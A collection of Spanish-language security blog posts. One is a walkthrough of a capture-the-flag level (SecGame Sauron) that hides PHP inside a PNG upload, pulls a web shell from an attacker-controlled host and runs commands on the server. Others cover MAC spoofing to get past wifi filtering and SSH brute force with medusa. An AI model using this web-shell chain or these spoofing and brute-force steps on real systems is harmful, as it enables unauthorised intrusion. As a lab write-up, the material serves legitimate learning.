Ingenuo inalámbrico
Ingenuo, ingenuo de mi el pensar que con tener la configuración wireless protegida por MAC sin necesidad de WEP o WPA-PSK sería suficiente para tener "protegida" mi red inalámbrica.
Para que ponerle clave WEP si el que supiera desencriptar la WEP también podría cambiar la MAC... pero da la casualidad de que es más sencillo cambiar la MAC que desencriptar la WEP.
ifconfig <interface> down
ifconfig <interface> hw ether CA:FE:CA:FE:CA:FE
ifconfig <interface> up
De esta manera cambiamos la MAC de una tarjeta de red, y claro si has puesto tu tarjeta Wifi en modo monitor:
airmon-ng start <interface>
"Escucharás" con airodump-ng y detectarás a un cliente conectado, con copiar su MAC e intentar conectarte si la protección del AP es sólo por MAC ya has resuelto el problema.
Desencriptar la clave WEP es muy sencillo y rápido, WPA-PSK es más seguro, siempre que la contraseña para la red no sea un nombre compuesto y si una clave como dios manda con consonantes seguidas, mayusculas, minusculas y simbolos raros. Parece ser que aunque se capture paquetes de una inalámbrica WPA-PSK luego se utilizan diccionarios para obtener la clave.
Tengo que probar con mi red a intentar saltarme la WPA-PSK y cuando tenga el resultado os lo diré ^_^
¿Cómo tienes configurada tu wifi?
SecGame #1: Sauron – Resolución Nivel 4
Saludos a todos,
esta vez con un día de retraso, acudimos a la cita de intentar desentrañar el fallo de seguridad oculto en este nivel, y como siempre, esperamos que todos aquellos que poco a poco aprendéis con estas guías, podáis seguir profundizando más. Dicho esto, vamos a empezar a resolver el nivel 4 en su modo de juego sencillo. Para el modo avanzado, aquellos que lo estén jugando y tengan alguna duda concreta estaremos encantados de resolverla por email.
Este es el aspecto que presenta el nivel 4. Dividido en 4 secciones:
- Información sobre el sistema
- Administración de MySQL mediante MySQL Admin
- Visualización de Estadísticas
- Cambio de parámetros
Sobre la visualización de estadísticas, poco hay que comentar. Ya nos es familiar porque ya hemos accedido a ella, pero desde otro lugar, durante el nivel 2, por tanto no aporta nada a lo que ya conocemos.
Luego existen 2 partes que contienen aplicaciones públicas, por un lado tenemos phpSysInfo, y por otro phpMyAdmin. En la idea original de este juego está el que no sea necesario el uso de fallos en aplicativos públicos para superarlo, siendo así por un motivo bien sencillo: con el paso del tiempo uno o todos los aplicativos que existen instalados en la máquina virtual serán susceptibles de fallos.
No obstante, podemos evaluar la seguridad de estas versiones, y ver que no parecen existir exploits públicos relevantes para las mismas. Existe un XSS en phpSysInfo, poco relevante para una explotación efectiva, al igual que otro en phpMyAdmin. Comentar como apunte que el hecho de que a fecha de hoy no parezcan existir ataques relevantes no quiere decir, evidentemente, que en un futuro no puedan aparecer, e incluso, y dado que son aplicaciones de código abierto, una vez agotadas el resto de vías, es posible que una revisión exhaustiva de su código fuente, y de su ejecución, pueda revelarnos fallos de seguridad no públicos.
Sin embargo, en el caso que nos ocupa, antes de llegar a la revisión de código público, hay que percatarse de la sección "Cambio de parámetros" la cual permite la subida de un fichero al servidor. Ésta *siempre* es una función crítica y debe ser evaluado su riesgo, ya que permitirá al atacante subir algún tipo de contenido a nuestro sistema.
Para el caso que nos ocupa, podemos darnos cuenta que la robustez y codificación de la subida de imágenes es la apropiada:
- Únicamente permite ficheros con extensión PNG
- El tamaño del fichero está limitado a 8KB
- El contenido del fichero debe corresponder con una imagen PNG
Esto hace que no podamos subir un fichero renombrado como .PNG, sino que debamos subir un gráfico PNG, limitado a 8KB, y con extensión PNG. Por tanto, a priori, podemos pensar que no existe posibilidad alguna de explotar ningún fallo. Bien, veremos que no es así.
Lo primero que debemos plantearnos es: ¿en una imagen PNG únicamente puede existir eso?. La respuesta es que no. Nada más sencillo que concatenar al final de un fichero PNG, código ejecutable en formato PHP. Para ello, a partir de una imagen PNG de menos de 8KB y válida para subirla al servidor, hacemos lo siguiente:
$ cat >> img.png
<? phpinfo(); ?>
Para los no familiarizados con UNIX, decir que simplemente hemos añadido al final del fichero ese código PHP. Una vez hecho esto, tendremos un fichero válido, en formato PNG, que contiene al final del mismo un código PHP. Este fichero podrá ser subido al servidor.
¿Y ahora qué?. Ahora queda percatarse de un par de detalles importantes. El primero, ¿cómo se llama el fichero que contiene la imagen?. En este caso, el fichero de imagen es: http://www.blindware.inc/_controlp/image.php, o dicho de otra forma, un fichero PHP se encarga de servir la imagen, de la que aún desconocemos su nombre y ubicación. ¿Cómo podemos saberla?. Pues haciendo uso del error que vimos en el nivel 3 dentro del fichero index.php, que permitía la lectura de ficheros. Con ese error leemos el contenido de image.php:
<? header("Content-Type: image/png"); readfile("01.png"); ?>
Por tanto, nuestro fichero subido sabemos que se llama "01.png" y que se encuentra en el mismo directorio de /_controlp/ que el resto de datos. ¿Cómo podemos explotar el fichero con contenido PHP?. En este caso concreto, es cuando se puede apreciar, como la subida de ficheros maximiza el riesgo de otro de los fallos encontrados en el nivel 3. Si recordamos además de leer ficheros mediante el error localizado en index.php, podemos incluir ficheros para ser procesados por PHP desde un error con idéntica explotación localizado en login.php. Al hacerlo obtenemos como resultado de incluir nuestro fichero 01.png manipulado lo siguiente:
Como vemos, el contenido de la instrucción phpinfo() se muestra a continuación de los datos contenidos en la imagen. Esta información puede ser poco relevante, pero para la explotación efectiva únicamente hay que construir un exploit ligeramente más elaborado, que bien pudiera ser el que vamos a comentar a continuación.
El objetivo del exploit es conseguir crear una shell en PHP dentro de esta máquina. Para ello, el código que proponemos incluir dentro de la imagen es el siguiente:
<? copy(“http://ip/shell.txt”,”shell.php”); ?>
Vaya por delante que la explotación se puede realizar de muchas maneras. Nosotros por elegancia, siempre proponemos que el código a incluir en el exploit sea mínimo. En este caso, el exploit únicamente copia una shell remota localizada en shell.txt al servidor victima.
El contenido de shell.txt puede ser el siguiente:
<?
header(“Content-Type: text/plain”);
passthru($_GET[“cmd”);
?>
El objetivo de este script es ejecutar el comando que pasemos como parámetr en la variable "cmd". De tal forma, si ahora subimos la imagen con el primer código al servidor, y colocamos en la IP de un servidor web que usemos para el ataque el fichero “shell.txt”, debemos conseguir que este se copie al servidor y acceder a él desde la dirección http://www.blindware.inc/_controlp/shell.php
Aquí aparece un problema. Al acceder a esa URL veremos que no aparece nada, y es que hay un detalle importante siempre que subamos contenido ejecutable a un servidor. A priori no sabemos qué permisos serán necesarios para su ejecución, y la función copy lo más probable es que haya creado un fichero con permisos 644. Para ello podemos verificar qué permisos tienen los ficheros php de los que conocemos su existencia. En este caso los ficheros deben tener permisos 755. Por ello tenemos que modificar ligeramente el exploit a incluir dentro del fichero PNG al siguiente:
<? copy(“http://ip/shell.txt”,”shell.php”); chmod(“shell.php”,0755); ?>
Nota: importante colocar un 0 delante del 755, sino no conseguiremos los permisos rwxr-xr-x
Hecho esto, tendremos acceso al sistema de forma remota y habremos superado el nivel, como muestran las siguientes URLs:
http://www.blindware.inc/_controlp/shell.php?cmd=uname%20-a
Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux
http://www.blindware.inc/_controlp/shell.php?cmd=id
uid=500(blindware) gid=500(blindware) groups=500(blindware)
Hasta aquí ha llegado este 4º nivel, en el que hemos avanzado de nuevo hasta conseguir ejecutar comandos en el servidor. Os esperamos dentro de 15 días con el siguiente nivel.
Brute Force con medusa to SSH
A modo didáctico dedique unas horas a investigar como se realizaban estos ataques.
El objevito era mi servidor local con ubuntu 7.10, con ssh activado al que iba a intentar "forzar".
Para no andar enguarrando mi sistema con librerias, instalaciones y configuraciones que solo serían para la demostración me encontré con esta distribución live que ya disponía de varias herramientas.
http://www.remote-exploit.org/backtrack.html
Esta distribución live ya dispone de Jonh The Riper. Pero aún así el wordlist que utilicé para el brute force fue:
ftp://ftp.cerias.purdue.edu/pub/dict/wordlists/spanish/words.spanish.gz
Podemos ver como funciona esta herramienta en un video:
http://icaix.com/tutoriales/bruteForce.htm
En este video se puede observar como tras andar probando contraseñas contra el puerto ssh del objetivo acaba encontrando la contraseña adecuada.
Bien, tras tener las herramientas a probar y sabiendo como utilizarlas me dispuse a realizar la prueba de ataque a mi servidor local.
El resultado no fue el esperado, ya que un ataque por SSH a los 5 intentos del brute force rechazaba más intentos. Lo que primero intenté fue agregar más parametros al comando de "ataque" para así intentar hacer más intentos. Los resultados no obtuvieron éxito.
Entonces podemos confirmar que este tipo de ataques caen en el olvido y serían técnicas del "pasado". Hablo de mi ignorancia del tema y del tiempo que he podido disponer para realizar estas pruebas.
No obstante es entretenida la prueba y conocer como funciona. Esta herramienta es válida para intentar "forzar" la entrada a diferentes servicios, entre los que se incluye VNC, FTP...
Os recomiendo que probar esta herramienta, aunque eso sí, tener en cuenta que si intentáis acceder a una máquina que no sea de vuestra propiedad se considera una acción ilegal.
SecGame #1: Sauron
SG6 Labs publica su primer entorno para SecGame. SecGame #1 Sauron, representa un sistema GNU/Linux en el que se ejecutan una serie de servicios web vulnerables. El objetivo del atacante es escalar privilegios desde la web hasta el sistema local, para una vez allí, aprovechar otras vulnerabilidades existentes y llegar a ser administrador (root).El desarrollo de la intrusión, aunque tiene niveles lógicos, concretamente unos aproximadamente 7 niveles, aunque por error en algunos lugares aparezcan 10, no tiene una división clara entre ellos. Es decir, no hay un nivel 1, paso a nivel 2, paso a nivel 3, sino que la división se establece exactamente igual que en un entorno real, por la propia elevación de privilegios o revelación de algún tipo de información que nos permita seguir avanzando. Así mismo, se plantean 2 niveles de dificultad, según la máquina virtual descargada: normal o alta.
El nivel de dificultad normal está indicado para aquellas personas que teniendo conocimientos técnicos quieran familiarizarse con la realización de test de intrusión. En él las ayudas son bastantes, y aunque se deban superar los mismos retos, cuentan con numerosas indicaciones que les serán de utilidad.
Por su parte el nivel de dificultad alta, se recomienda a personas experimentadas que quieran pasar un buen rato y poner a prueba sus conocimientos. En él todas las explotaciones son "a ciegas", con ningún tipo de indicación o ayuda.
Esperamos que todos aquellos que lo prueben, pasen un buen rato, además de servirles para aprender o mejorar conocimientos.
Contenidos Descargables
* SecGame #1 Sauron: Máquinas virtuales
o Descargar máquina virtual Sauron (530MB. Dificultad Normal)
o Descargar máquina virtual Sauron (519MB. Dificultad Alta)
* Manules de instalación
o Manual de instalación para Windows (PDF)
o Manual de instalación para Linux (PDF)
* Binarios para Windows
o Qemu Manager 4.0
o OpenVPN 2.0.9
Visto en: SG6
Hacking en la red
Hace unos años que la empresa S21sec dejó de "ofertar" el concurso Hack21, donde tenías que lograr un objetivo en un servidor para poder ganar el concurso. Aunque me era totalmente imposible avanzar niveles de seguridad las charlas que impartían con la resolución del concurso eran muy didácticas.
Indagando por internet a ver si encontraba algo similar para matar alguna hora de aburrimiento me he encontrado con este sitio web: http://www.hackerslab.org donde puedes registrarte e intentar poner a prueba tus conocimientos, una máquina online dispuesta para juegos ^_^
Aprendiendo a usar IPTABLES desde cero
Introducción
Al conectarnos a internet en nuestras casas, de forma explícita nos estamos conectando, en AMBOS sentidos: directamente a la red, "desnudos" si se me permite la analogía. El objetivo de este artículo es, medinte iptables, lograr cierta protección y seguridad. Nótese que un firewall no garantiza 100% de seguridad.
Para este artículo, se requieren conocimientos básicos/intermedios acerca de linux y TCP/IP, obviamente implementado bajo dicho sistema operativo.
Cabe destacar que para utilizar iptables, es necesario tener un kernel preparado para éste, y el módulo ip_tables cargado. Del mismo modo, si estas utilizando ipchains, se deben descargar sus módulos antes de cargar los de iptables.
Iptables es una utilidad de linux que se encarga de darle directivas al kernel, acerca del filtrado de paquetes TCP/IP. Un paquete TCP/IP consta de varios campos, con información adicional a los datos que se transmiten en sí. No viene al caso describir cada uno de ellos, sino los que consideraremos mas relevantes, es decir, aquellos campos que mediante iptables, empezaremos a "vigilar". Ejemplo: direccion origen, direccion destino, puerto origen, puerto de destino, etc.
¿Cómo funciona?
El kernel de linux posee (predefinidas "de fábrica") 3 cadenas (chains) de reglas: INPUT, FORWARD y OUTPUT. Cada paquete TCP/IP que ingresa/atraviesa/sale desde/hacia una maquina con iptables funcionando, pasará por la cadena INPUT, FORWARD o OUTPUT respectivamente. Las cadenas,no son mas que un listado de reglas, con las cuales controlamos cada uno de los paquetes que pasan. Ahora se preguntaran, que es una regla?. Para evitar las confusiones, vamos a simplificar su definición al máximo, y luego mostrarles algunos ejemplos. Una regla consta de 2 partes, y no es mas que una condición y una acción. Si se cumple la condición se ejecuta la acción. Simple, ¿verdad?
Algo para tener en cuenta mas adelante: si un paquete atravesó todas las reglas de una cadena, sin hallar coincidencia, iptables se fijará en la politica por defecto de esa cadena(default policy).
Resumiendo lo anteriormente dicho:
1) Lo mas importante: tener conocimientos previos en linux y TCP/IP !!!
2) El kernel de linux trae 3 cadenas de reglas (INPUT, FORWARD y OUTPUT)
3) Con iptables se pueden agregar/eliminar reglas (entre otras cosas).
Instalación y administración de aulas informáticas basadas en LINUX
Navegando por la red en busca de información sobre este nuestro tan dichoso sistema operativo que utilizamos he encontrado esta documentación que desde luego merece la pena mencionar ya que creo que se ha tomado un buen trabajo para redactarlo.
Es un documento sobre la Instalación y administración de aulas informáticas basadas en Linux, que bien se podría extender a la creación de una LAN para una PYME.
Instalación y administración de aulas informáticas basadas en Linux
El autor: Juan Antonio Martínez Castaño - http://www.dit.upm.es/~jantonio
Hackeados los servidores de Ubuntu
El proyecto Ubuntu tuvo que cerrar 5 de 8 servidores de producción después de detectar que habían comenzado a atacar a otros sistemas, presumiblemente con spam. Canonical Ltd. culpa a los usuarios sus Comunidades Locales ("LoCo") a cargo de ellos, diciendo que fueron pobremente administrados.
Sin embargo, Canonical no está libre de culpas: los servidores no podían actualizar su Kernel porque el hardware, que ellos mismos habían patrocinado, era incompatible...
La gran pregunta es ahora si alguno de los archivos distribuídos por esos servidores fueron modificados antes de llegar a otros usuarios.
Artículo completo en Slashdot
Visto en: Viva Linux
Un buen motivo para usar Linux
Todos disfrutamos de nuestra colección personal de mp3 a menudo, y dadas las conexiones de hoy en día de todos es sabido que los Gb de mp3 son muy valiosos y solo falta que un gusanito nos fastidie la información
A traves de la noticia Gusano come MP3, en S.O. Window que he leido en el blog de nuestro amigo Ilusionas he decido publicar este post.
Si eres uno de los usuarios de Windows afectado por este gusano... recuerda esto:
" ¡¡Con linux no te hubiera pasado!! "
Como recuperar el password de root
Si tenemos que recuperar el acceso a una máquina de la cual no tenemos el password de root o bien se nos ha olvidado, no os preocupéis es más sencillo de lo que parece.
Es necesitamos tener acceso físico a la máquina para poder hacerlo.
La idea, es arrancar con un live CD montar la unidad de disco y editar el fichero /etc/shadow
En mi caso utilicé una Knoppix por la sencillez para realizar las opciones de montaje de disco. Al arrancar el Live CD te detecta las unidades de disco que tiene el equipo, hacemos click con el botón izquierdo del ratón sobre el disco que contiene la información a editar y seleccionamos la opción de "Montar". Una vez montado el disco podemos acceder a su información pero no lo monta con acceso de escritura, por lo que debemos volver a hacer click con el botón izquierdo y seleccionar la opción de "Lectura y Escritura" donde tendremos que confirmar el cambio.